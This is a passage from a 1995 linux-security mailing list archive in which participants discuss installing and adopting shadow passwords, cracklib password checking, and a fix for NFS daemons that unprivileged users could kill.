bytes (500 lines * 80 bytes) of information. Any amount of information present with no digest sent in past 7 days. All the lists, regular and digest, are archived, as well as indexed nightly for easy perusal via the Majordomo archive-retrieval mechanism. --Up. P.S. This message is partly a test, just to make sure all is working as it should. Other lists on this server have been running flawlessly, but I always like to be certain... -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-security/1995/linux-security.950305100664 1767 1767 2602 5730454656 17245 0ustar majdommajdomFrom [email protected] Sun Mar 5 20:20:36 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA13395; Sun, 5 Mar 1995 20:17:54 -0500 Received: from jeeves.engr.mun.ca (jeeves.engr.mun.ca [134.153.12.66]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id SAA12941; Sun, 5 Mar 1995 18:27:34 -0500 Received: from atto.engr.mun.ca by jeeves.engr.mun.ca id <34863>; Sun, 5 Mar 1995 20:00:29 -0330 Date: Sun, 5 Mar 1995 19:59:45 -0330 From: Don Bennett To: Linux Security Subject: Shadow Passwords? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] Would someone either tell me or point me towards a FAQ on shadow passwords? I'd like too know what exactly they are and how I implement them on my Linux box. I've beenm using Linux for about a year now, so I'm not entirely green. Last time I checked, there wasn't a Security or Shadow HOWTO. Thanks for your help. Don On-line, adj.: The idea that a human being should always be accessible to a computer. Don Bennett ([email protected]) Linux + PC - MSDOS - Windows = Heaven Check out my new home page! (http://www.engr.mun.ca/~don) linux-security/1995/linux-security.950306100664 1767 1767 145725 5730454666 17325 0ustar majdommajdomFrom [email protected] Mon Mar 6 05:53:47 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id FAA17919; Mon, 6 Mar 1995 05:51:05 -0500 Received: from hq.jcic.org (hq.jcic.org [198.68.11.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id BAA15128; Mon, 6 Mar 1995 01:20:49 -0500 Received: by hq.jcic.org (Linux Smail3.1.29.1 #3) id m0rlWAh-000xA5C; Sun, 5 Mar 95 22:21 PST Message-Id: From: [email protected] (Daniel Hollis) Subject: Re: Shadow Passwords? To: [email protected] Date: Sun, 5 Mar 1995 22:21:33 -0800 (PST) In-Reply-To: from "Don Bennett" at Mar 5, 95 07:59:45 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1514 Sender: [email protected] Precedence: list Reply-To: [email protected] > Would someone either tell me or point me towards a FAQ on shadow > passwords? I'd like too know what exactly they are and how I implement > them on my Linux box. I've beenm using Linux for about a year now, so > I'm not entirely green. Last time I checked, there wasn't a Security or > Shadow HOWTO. Thanks for your help. One of the most common hacker techniques is grabbing your /etc/passwd and running it against a dictionary. This only reveals poorly chosen passwords, but should not be possible at all. Shadow passwords defeat this. Shadow passwords remove the encrypted password field from /etc/passwd completely, and put it into a non-world-readable file. There are other advantages to using the shadow password suite such as better logging, and password expiration, etc. Unfortunately the shadow password suite is not very well documented. but all you have to do is 'make' the package, 'make install', then 'make pwconv'. Run the pwconv program while in /etc. It will create two files, npasswd and nshadow. Just mv npasswd passwd and mv nshadow shadow and you're set. Oh, be sure to put the login.defs file into /etc and edit it, otherwise you won't be able to login :) You will need replacement shadow-aware daemons for a number of programs however. ftp, pop (if you run a pop server), xdm (if you run xdm), etc. Generally anything that has to do with passwords. Including adduser. The shadow suite provides replacement login program so you don't have to worry about login. -Dan From [email protected] Mon Mar 6 12:04:41 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA22065; Mon, 6 Mar 1995 12:02:41 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id EAA17215; Mon, 6 Mar 1995 04:58:46 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: NFS deamon can be killed by normal users. To: [email protected] Date: Mon, 6 Mar 1995 09:59:47 +0000 (GMT) In-Reply-To: <[email protected]> from "[email protected]" at Mar 4, 95 05:18:35 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 569 Sender: [email protected] Precedence: list Reply-To: [email protected] > The nfs deamons can be killed by any user. This is because the > nfs deamon takes on the userid of the current request. It then > remains at this userID untill the next request. Change your nfsd to make use of setfsuid(). I was under the impression that this was why it was added. setfsuid() allows you to set the effective uid for file access only. > might succeed. A true solution would allow the nfsd process to > indicate to the kernel that although it has the euid of a user, it > doesn't want to be considered "owned" by that user. Thats setfsuid() Alan From [email protected] Mon Mar 6 12:56:28 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA22938; Mon, 6 Mar 1995 12:54:38 -0500 Received: from portal.stwing.upenn.edu (PORTAL.STWING.UPENN.EDU [130.91.200.35]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id MAA22856; Mon, 6 Mar 1995 12:50:10 -0500 Received: (from roman@localhost) by portal.stwing.upenn.edu (8.6.10/8.6.9) id MAA02242 for [email protected]; Mon, 6 Mar 1995 12:50:09 -0500 From: Roman Gollent Message-Id: <[email protected]> Subject: Re: Shadow Passwords? To: [email protected] Date: Mon, 6 Mar 1995 12:50:08 -0500 (EST) In-Reply-To: from "Daniel Hollis" at Mar 5, 95 10:21:33 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 607 Sender: [email protected] Precedence: list Reply-To: [email protected] > One of the most common hacker techniques is grabbing your /etc/passwd and > running it against a dictionary. This only reveals poorly chosen > passwords, but should not be possible at all. Shadow passwords defeat this. [SNIP] I was wondering if there was ever going to be a move to make shadowing a standard, ie: Have all distributions come with shadowing by default. Since there are many other Un*x os that come with shadowing turned on, why can't the same be done for Linux distributions, or at least the popular ones? This isn't a criticism, just an open question. Roman From [email protected] Mon Mar 6 14:23:54 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA24153; Mon, 6 Mar 1995 14:21:37 -0500 Received: from relay.xlink.net (relay.xlink.net [193.141.40.5]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id IAA18868; Mon, 6 Mar 1995 08:50:48 -0500 Received: from sbusol.rz.uni-sb.de by relay.xlink.net id <[email protected]>; Mon, 6 Mar 1995 14:30:21 +0000 Received: from vieta.math.uni-sb.de ([email protected] [134.96.32.23]) by sbusol.rz.uni-sb.de (8.6.10/v2.0) with SMTP id OAA12746 for ; Mon, 6 Mar 1995 14:19:59 +0100 Received: by vieta.math.uni-sb.de (4.1/math-SB.srv.910605) id AA10527; Mon, 6 Mar 95 14:22:47 +0100 From: [email protected] (Arne Wichmann) Message-Id: <[email protected]> Subject: Re: Shadow Passwords? To: [email protected] Date: Mon, 6 Mar 95 14:22:46 MET In-Reply-To: ; from "Don Bennett" at Mar 5, 95 7:59 pm Sender: [email protected] Precedence: list Reply-To: [email protected] Also sprach Don Bennett: > Would someone either tell me or point me towards a FAQ on shadow > passwords? I'd like too know what exactly they are and how I implement > them on my Linux box. I've beenm using Linux for about a year now, so > I'm not entirely green. Last time I checked, there wasn't a Security or > Shadow HOWTO. Thanks for your help. I would say this dosn't belong here. cu AW -- My turn to crumble, my turn to fall >From so very humble to nothing at all. (Anne Clark) Arne Wichmann ([email protected]) From [email protected] Mon Mar 6 14:26:51 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA24277; Mon, 6 Mar 1995 14:25:23 -0500 Received: from troll.apana.org.au (troll.apana.org.au [203.3.126.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id OAA24072; Mon, 6 Mar 1995 14:17:14 -0500 Received: from abyss.apana.org.au ([email protected] [203.3.126.145]) by troll.apana.org.au (8.6.9/8.6.6) with ESMTP id FAA16130 for ; Tue, 7 Mar 1995 05:25:25 +1000 Received: (from morlok@localhost) by abyss.apana.org.au (8.6.10/8.6.6) id FAA00812 for [email protected]; Tue, 7 Mar 1995 05:03:53 GMT From: Ed Beaumont Posted-Date: Tue, 7 Mar 1995 05:03:53 GMT Message-Id: <[email protected]> Subject: Re: Shadow Passwords? To: [email protected] Date: Tue, 7 Mar 1995 05:03:52 +0000 (GMT) In-Reply-To: <[email protected]> from "Roman Gollent" at Mar 6, 95 12:50:08 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1387 Sender: [email protected] Precedence: list Reply-To: [email protected] > > > One of the most common hacker techniques is grabbing your /etc/passwd and > > running it against a dictionary. This only reveals poorly chosen > > passwords, but should not be possible at all. Shadow passwords defeat this. > > [SNIP] > > I was wondering if there was ever going to be a move to make shadowing > a standard, ie: Have all distributions come with shadowing by > default. Since there are many other Un*x os that come with shadowing > turned on, why can't the same be done for Linux distributions, or at > least the popular ones? This isn't a criticism, just an open question. If I remember right this was discussed awhile ago, but was the writer of the shadow password package didnt want it distributed in part. In any case, the package itself is very easy to install and requires very little interaction from the user to install. (You just have to peruse throught the config.h to decide what you would like to have. ) This is of course if you apply the linux patches to the 3.3.1 source tree. (They are available on sunsite.). -- Morlok (Ed Beaumont) ----------------- UUCP Coordinator - APANA Brisbane "The Eagle may soar, but a weasel | ([email protected]) never gets sucked into a jet engine" | System Operator of Abyss APANA Site Simon & Simon + ([email protected]) -- [Moderator's (Jeff's) note: This should pretty much finish this thread off. Further discussion of shadow passwords should go to the admin (or a similar) list, or to a c.o.l.* group, unless the discussion relates to a *security* portion of shadow, such as a previously-undetected vulnerability.] From [email protected] Mon Mar 6 14:27:22 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA24296; Mon, 6 Mar 1995 14:25:54 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id OAA24155; Mon, 6 Mar 1995 14:22:03 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rliLm-0005B7C; Mon, 6 Mar 95 20:21 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rlihL-000KjTC; Mon, 6 Mar 95 20:44 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: NFS server To: [email protected] Date: Mon, 6 Mar 1995 20:44:07 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 918 Sender: [email protected] Precedence: list Reply-To: [email protected] Hello everyone, First off, let me say I'm sorry I sent out this NFS-server posting to the alert list. This is not the way I intend to do things; I was just up to my ears in over a thousand of majordomo mails so I failed to notice. I checked out the nfs stuff today, and now I'm not so sure that this has actually been fixed already. I poked around a couple of FTP sites, and the newest version of the server I found was version 2.0 of dec 93. Another indication no-one has actually done this is that the setfsuid call is not part of libc-4.5.27. I'll see if I can put together a patch tonight for this and upload a new server to some site. I'll also put in the root_squash fix posted recently. While we're at it, are there any other known holes? Regards, Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Mon Mar 6 17:09:18 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA26425; Mon, 6 Mar 1995 17:06:56 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id OAA24832; Mon, 6 Mar 1995 14:59:51 -0500 Received: from brewhq.swb.de by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA05348; Mon, 6 Mar 95 14:59:11 EST Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rliv1-0005BBC; Mon, 6 Mar 95 20:58 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rljAt-000KjRC; Mon, 6 Mar 95 21:14 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: Re: Shadow Passwords? To: [email protected] Date: Mon, 6 Mar 1995 21:14:39 +0100 (MET) In-Reply-To: <[email protected]> from "Roman Gollent" at Mar 6, 95 12:50:08 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1406 Sender: [email protected] Precedence: list Reply-To: [email protected] Thus spake thou, Roman Gollent: > > I was wondering if there was ever going to be a move to make shadowing > a standard, ie: Have all distributions come with shadowing by > default. Since there are many other Un*x os that come with shadowing > turned on, why can't the same be done for Linux distributions, or at > least the popular ones? This isn't a criticism, just an open question. > There used to be some flamage over the copyright status of JF Haugh's shadow suite. As a consequence, he took part of the library and released it under the GPL; it's basically the set/getspent group of functions. In my opinion, shadow passwords can't be the ultimate in password security. The biggest problem I see with them is that they're moot in a YP environment. Adding a proactive password checker to passwd and yppasswd instead could give you a big advantage over programs such as crack that have to chew on the encrypted passwords. Plus it saves you a lot of hassle with programs you'd otherwise have to modify (rlogind, rshd, ftpd, xdm, and probably a few more). I remember there was some talk that the new version of crack would contain a cracklib that could be easily integrated into other programs. Does anyone know more about this? Regards, Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Mon Mar 6 20:07:23 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28144; Mon, 6 Mar 1995 20:05:22 -0500 Received: from VNET.IBM.COM (vnet.ibm.com [199.171.26.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id PAA25169; Mon, 6 Mar 1995 15:29:21 -0500 Received: from BTV by VNET.IBM.COM (IBM VM SMTP V2R2) with BSMTP id 7288; Mon, 06 Mar 95 15:28:57 EST Received: by BTV (XAGENTA 4.0) id 1981; Mon, 6 Mar 1995 15:28:48 -0500 Received: from fangorn.btv.ibm.com by btv.ibm.com (AIX 3.2/UCB 5.64/1.9) id ; Mon, 6 Mar 1995 15:28:45 -0500 Received: by btv.ibm.com (AIX 3.2/UCB 5.64/fs4.03) id AA04873; Mon, 6 Mar 1995 15:28:44 -0500 Message-Id: <[email protected]> X-Mailer: exmh version 1.6alpha 2/16/95 To: [email protected] Subject: Re: Shadow Passwords? In-Reply-To: <[email protected]> Date: Mon, 06 Mar 1995 15:28:43 -0500 From: "Frank Swasey" Sender: [email protected] Precedence: list Reply-To: [email protected] On Mon, 06 Mar 1995 12:50:08 EST Roman Gollent wrote: > >I was wondering if there was ever going to be a move to make shadowing >a standard, ie: Have all distributions come with shadowing by >default. Since there are many other Un*x os that come with shadowing >turned on, why can't the same be done for Linux distributions, or at >least the popular ones? This isn't a criticism, just an open question. Wouldn't a reasonable first step toward making shadow passwords the standard be to have a HOWTO document that gave the steps necessary to update a program to use the shadow passwords? I know that's the part that has stopped me time and time again from makeing the move to shadowed passwords (but then I'm not connected to any networks, so it's not as important to me at this time). Frank -- e-mail: [email protected], [email protected] Tel: 802-769-4011 (tie: 446), Fax: 802-769-4253 (tie: 446) From [email protected] Mon Mar 6 20:07:27 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28159; Mon, 6 Mar 1995 20:05:45 -0500 Received: from smtp.utexas.edu (smtp.utexas.edu [128.83.126.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id QAA25765; Mon, 6 Mar 1995 16:06:40 -0500 Received: from mail.utexas.edu (mail.utexas.edu [128.83.126.1]) by smtp.utexas.edu (8.6.7/8.6.6) with ESMTP id OAA06227 for ; Mon, 6 Mar 1995 14:55:13 -0600 Received: from slip-9-12.ots.utexas.edu ([email protected] [128.83.128.76]) by mail.utexas.edu (8.6.9/8.6.6) with SMTP id OAA04763; Mon, 6 Mar 1995 14:51:08 -0600 Date: Mon, 6 Mar 1995 14:51:03 -0600 (CST) From: lilo X-Sender: [email protected] To: [email protected] cc: [email protected] Subject: Re: Sh*dow Passwords? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Mon, 6 Mar 1995, Roman Gollent wrote: > I was wondering if there was ever going to be a move to make sh*dowing > a standard, ie: Have all distributions come with sh*dowing by > default. Since there are many other Un*x os that come with sh*dowing > turned on, why can't the same be done for Linux distributions, or at > least the popular ones? This isn't a criticism, just an open question. Several distributors of commercial Linux releases have had some difficulties with the author of the sh*dow password suite, due to his licensing requirements, which were designed to maintain personal control of the suite. He wrote a set of stubs with a GNU license, suitable for inclusion in the Linux library code, but think by the time he got to that point everyone had decided that the difficulties of dealing with him outweighed the benefits. I would like to see basic password sh*dowing support included in the Linux libraries (in such a way as to minimize the need to recompile basic utilities), but personally think it would be best to produce that functionality independently of John's code, to avoid the arguments we saw last time around. I don't think there's anything in his code that couldn't be done cleaner and simpler for inclusion in the Linux libraries. lilo From [email protected] Mon Mar 6 20:07:23 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28137; Mon, 6 Mar 1995 20:05:11 -0500 Received: from mykonos.rc.rit.edu (mykonos.rc.rit.edu [129.21.245.45]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id PAA24909; Mon, 6 Mar 1995 15:05:21 -0500 Received: (from kg@localhost) by mykonos.rc.rit.edu (8.6.9/8.6.9) id PAA00229 for [email protected]; Mon, 6 Mar 1995 15:05:38 -0500 From: Kyriakos Georgiou Message-Id: <[email protected]> Subject: Re: Shadow Passwords? To: [email protected] Date: Mon, 6 Mar 1995 15:05:38 -0500 (EST) In-Reply-To: from "Daniel Hollis" at Mar 5, 95 10:21:33 pm X-Organization: Rochester Institute of Technology, Research Corp. Rochester NY, USA X-Operating-System: Linux 1.1.95 i586 World domination. Fast. X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 447 Sender: [email protected] Precedence: list Reply-To: [email protected] Point well taken about shadow passwds, but.. Lots of existing programs/utilities rely on the 'normal' /etv/passwd I guess the drawback of shadow'ing is the need of shadow-aware daemons/programs. A cute solution is a smarter 'passwd' program (don't allow dictionary words, follow simple rules which make brute force cracking impossible, yet such passwd restrictions may be unacceptable by users :-) -- Kyriakos Georgiou [email protected] -- [Moderator's (Jeff's) note: I had originally thought that the shadow discussion should end a few posts ago, but since there seem to be a lot of people that want to discuss the subject (judging by the number and variety of followup responses), it will continue at the obvious desire of a number of people on the list.] From [email protected] Mon Mar 6 20:07:28 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28152; Mon, 6 Mar 1995 20:05:33 -0500 Received: from vader.egbt.org (egbt-6.extern.ucsd.edu [199.105.3.22]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id PAA25415; Mon, 6 Mar 1995 15:53:00 -0500 Received: from neko.egbt.org (neko.extern.ucsd.edu [199.105.3.18]) by vader.egbt.org (8.6.9/8.6.9) with ESMTP id MAA21253 for ; Mon, 6 Mar 1995 12:54:55 -0800 Received: from neko.egbt.org (localhost [127.0.0.1]) by neko.egbt.org (8.6.9/8.6.9) with ESMTP id MAA04098 for ; Mon, 6 Mar 1995 12:51:57 -0800 Message-Id: <[email protected]> To: [email protected] Subject: Re: Shadow Passwords? In-reply-to: Message from Roman Gollent of "Mon, 06 Mar 1995 12:50:08 EST." <[email protected]> X-Mailer: MH 6.8 Date: Mon, 06 Mar 1995 12:51:56 -0800 From: "Ian A. McCloghrie" Sender: [email protected] Precedence: list Reply-To: [email protected] On Mar 6, 1995 Roman Gollent wrote: > I was wondering if there was ever going to be a move to make shadowing > a standard, ie: Have all distributions come with shadowing by > default. Since there are many other Un*x os that come with shadowing > turned on, why can't the same be done for Linux distributions, or at > least the popular ones? This isn't a criticism, just an open question. IMHO, the security/cost ratio for shadow passwords is quite low. The added benefit of hidden encrypted passwords is relatively small, and the hassle of having to hack every package that wants to do user authentication before installing it is rather large. Most linux systems are used by a single person, often not on any network at all, where the likelihood of having untrustworthy users is quite small. Shadow passwords don't buy much on your average linux system. (linux systems being used for Internet Service Providing are another question entirely, of course). -- Ian McCloghrie work: [email protected] home: [email protected] ____ GCS d-- H- s+:+ !g p?+ au a- w+ v- C+++$ UL++++ US++$ P+>++ \bi/ L+++ 3 E+ N++ K--- !W--- M-- V-- -po+ Y+ t+ 5+++ jx R G'''' \/ tv- b+++ D- B--- e- u* h- f+ r n+ y* The above represents my personal opinions and not necessarily those of my employer, Qualcomm Inc. From [email protected] Mon Mar 6 20:07:33 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28168; Mon, 6 Mar 1995 20:05:57 -0500 Received: from hq.jcic.org (hq.jcic.org [198.68.11.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id QAA25828; Mon, 6 Mar 1995 16:09:56 -0500 Received: by hq.jcic.org (Linux Smail3.1.29.1 #3) id m0rlk3P-000xCHC; Mon, 6 Mar 95 13:10 PST Message-Id: From: [email protected] (Daniel Hollis) Subject: Re: Shadow Passwords? To: [email protected] Date: Mon, 6 Mar 1995 13:10:59 -0800 (PST) In-Reply-To: <[email protected]> from "Roman Gollent" at Mar 6, 95 12:50:08 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 945 Sender: [email protected] Precedence: list Reply-To: [email protected] > > One of the most common hacker techniques is grabbing your /etc/passwd and > > running it against a dictionary. This only reveals poorly chosen > > passwords, but should not be possible at all. Shadow passwords defeat this. > [SNIP] > > I was wondering if there was ever going to be a move to make shadowing > a standard, ie: Have all distributions come with shadowing by > default. Since there are many other Un*x os that come with shadowing > turned on, why can't the same be done for Linux distributions, or at > least the popular ones? This isn't a criticism, just an open question. I think the reason shadow passwords are not included in any of the linux distributions is that the shadow suite requires licensing if it's to be included in commercial distributions. But it is available for anyone to ftp freely and install themselves. (Kind of like the yp suite which requires licensing from Sun?) -Dan From [email protected] Mon Mar 6 20:07:57 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28179; Mon, 6 Mar 1995 20:06:17 -0500 Received: from Shoostring.com (gw.shoostring.com [204.119.8.14]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id QAA26329; Mon, 6 Mar 1995 16:57:25 -0500 Received: by Shoostring.com (Linux Smail3.1.28.1 #4) Sender: [email protected] Precedence: list Reply-To: linux-security.id.m0rlkp2-000GZ2C;[email protected], 6.Mar.95.14:[email protected] Date: Mon, 6 Mar 1995 14:00:11 -0800 (PST) From: root To: [email protected] Subject: Re: Shadow Passwords? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Along with the questions of why use shadow, and why isn't shadow a standard linux package, I had a problem recently on both my systems where shadow stopped working mysteriously. When I used passwd to change the password, it appended a line to the end of the shadow file, if I used usermod, it clobbered the dates for expiry, etc. Worse of course, when I tried to log in, no go, it was trying to read the passwd file instead of shadow. Finally I gave it up and put the old version of passwd back on the system, and the old login, etc. Then about 2 weeks later the same thing happened on my second system, and I had to boot off the setup floppies to get in and take the x out of the passwd file to get logged in. And then I removed shadow there as well. I am about to try it again, but I have doubts.... sean http://www.Shoostring.com/index.html Shoostring (Shoostring.com) Running Linux 1.1.83 Internet Accounts Available $30.00/6 month $50.00/year for shell $45.00/quarter $150.00/year SLIP/PPP From [email protected] Mon Mar 6 20:08:03 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28186; Mon, 6 Mar 1995 20:06:29 -0500 Received: from csd.uwo.ca (chaplin.csd.uwo.ca [129.100.10.252]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id RAA26744; Mon, 6 Mar 1995 17:35:47 -0500 From: A Warren Pratten Message-Id: <[email protected]> Subject: Re: Shadow Passwords? To: [email protected] Date: Mon, 6 Mar 95 17:35:40 EST In-Reply-To: ; from "Olaf Kirch" at Mar 6, 95 9:14 pm Sender: [email protected] Precedence: list Reply-To: [email protected] -> I remember there was some talk that the new version of crack would -> contain a cracklib that could be easily integrated into other programs. -> Does anyone know more about this? I have used cracklib in a homegrown yppasswdd replacement we use here. It works very well and has helped this department enforce stricter choice of passwords. cracklib is very worthwhile IMHO - Warren A Warren Pratten, Small Computer Support email: [email protected] Department of Computer Science voice: +1 519 679 2111 x6880 The University of Western Ontario fax: +1 519 661 3515 London Ontario CANADA N6A 5B7 www: http://www.csd.uwo.ca/staff/warren From [email protected] Mon Mar 6 20:08:11 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28202; Mon, 6 Mar 1995 20:06:58 -0500 Received: from teeny.molehill.org (s21-217.qns.com [199.1.21.217]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id SAA27328; Mon, 6 Mar 1995 18:22:28 -0500 Received: (from jtl@localhost) by teeny.molehill.org (8.6.10/8.6.9) id RAA01055; Mon, 6 Mar 1995 17:21:40 -0600 Posted-Date: Mon, 6 Mar 1995 17:21:40 -0600 Date: Mon, 6 Mar 1995 17:21:35 -0600 (CST) From: Todd Larason To: [email protected] cc: [email protected] Subject: Re: Shadow Passwords? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Mon, 6 Mar 1995, Olaf Kirch wrote: > I remember there was some talk that the new version of crack would > contain a cracklib that could be easily integrated into other programs. > Does anyone know more about this? As far as I know, the 'new version' of Crack has yet to be released, but cracklib was. See volume38 of your friendly neighborhood comp.sources.misc archive (ftp.sterling.com if you don't know of one nearer) for sources. It looks useful and easily integrable into passwd(1), but I haven't actually used it (I'm the only user on my machine, and I trust myself to come up with good passwords). From [email protected] Mon Mar 6 20:08:16 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28195; Mon, 6 Mar 1995 20:06:43 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id SAA27319; Mon, 6 Mar 1995 18:20:27 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rlm4g-0005MLC; Mon, 6 Mar 95 15:20 PST Date: Mon, 6 Mar 1995 15:20:25 -0800 (PST) From: Elias Levy To: [email protected] cc: [email protected] Subject: Re: Shadow Passwords? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Mon, 6 Mar 1995, Olaf Kirch wrote: > > In my opinion, shadow passwords can't be the ultimate in password > security. The biggest problem I see with them is that they're moot in > a YP environment. Adding a proactive password checker to passwd and > yppasswd instead could give you a big advantage over programs such as > crack that have to chew on the encrypted passwords. Plus it saves you > a lot of hassle with programs you'd otherwise have to modify (rlogind, > rshd, ftpd, xdm, and probably a few more). > Yep eveyone should use a authentication card and punch it into ones terminal, of curse if would be public key cryptography :) But for cheper ones of us SKEY will have to to. > I remember there was some talk that the new version of crack would > contain a cracklib that could be easily integrated into other programs. > Does anyone know more about this? > cracklib is there. Do you mean a newwer one? The are actually hooks in the shadow suite for it. Compiled it here works fine. > Regards, > Olaf > -- > Olaf Kirch | --- o --- Nous sommes du soleil we love when we play > [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax > [email protected] (Elias Levy) PowerNet, Inc. From [email protected] Mon Mar 6 20:08:53 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28210; Mon, 6 Mar 1995 20:07:13 -0500 Received: from mail.crl.com (mail.crl.com [165.113.1.22]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id SAA27508; Mon, 6 Mar 1995 18:37:45 -0500 Received: from (crl7.crl.com) by mail.crl.com with SMTP id AA06656 (5.65c/IDA-1.5 for [email protected]); Mon, 6 Mar 1995 15:36:31 -0800 Message-Id: <[email protected]> Date: Mon, 06 Mar 95 15:36:28 PDT From: [email protected] (Ronald Watkins) To: [email protected] X-Mailer: PMMail (v0.95a Beta) Subject: Re: Shadow Passwords? Sender: [email protected] Precedence: list Reply-To: [email protected] On Mon, 6 Mar 95 14:22:46 MET you wrote: >Also sprach Don Bennett: >> Would someone either tell me or point me towards a FAQ on shadow >> passwords? [snip] >I would say this dosn't belong here. I'm interested in the subject. Just signed up for the list from the announcement in c.o.l.a., and this was actually one of the questions I wanted to ask :) I'm looking, after having run Linux as a toy for about two years, at possibly setting up a dialin system of some sort... so security is abruptly becoming quite the issue. Being ignorant as anything, I appreciate any kind of discussion, even if it does clog my mailbox. :) My $0.02. Ron Watkins, aka <> | "Those of you who use the phrase, 'easy as taking Finger me for PGP key info. | candy from a baby', have obviously never tried Most opinions unproven. | taing candy from a baby!" -- R. Hood From [email protected] Mon Mar 6 20:09:17 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA28226; Mon, 6 Mar 1995 20:07:35 -0500 Received: from mcenroe.cs.unc.edu (mcenroe.cs.unc.edu [152.2.128.184]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id TAA28113; Mon, 6 Mar 1995 19:59:21 -0500 Received: from proteus.cs.unc.edu by mcenroe.cs.unc.edu (8.6.10/UNC_06_21_94) id TAA11188; Mon, 6 Mar 1995 19:59:17 -0500 Received: by proteus.cs.unc.edu (8.6.9/UNC_06_21_94) id TAA00500; 